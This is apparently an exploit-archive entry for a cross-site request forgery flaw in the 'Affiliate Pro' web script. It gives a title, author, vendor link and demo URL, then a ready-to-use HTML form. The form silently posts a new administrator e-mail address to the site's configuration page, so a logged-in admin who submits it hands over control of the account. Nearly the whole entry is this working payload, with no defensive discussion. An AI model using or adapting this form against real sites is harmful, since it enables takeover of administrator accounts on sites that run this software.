# Exploit Title: Affiliate Pro CSRF (change e-mail address) # Author: Jonturk75 # Vendor or Software Link: http://www.scripts.com/viewscript/affiliate-pro/19136/ # Category:: webapps # Demo : http://www.affiliateproscript.com/admin <form method="POST" action="target.com/site_conf.php" name="main"> <input type="hidden" style="width: 240px;" class="text data" maxlength="128" value="yourmail@mail.com" id="admin_email" name="admin_email"/> <input type="submit" class="button savedata" value="Update Configuration"/> </form>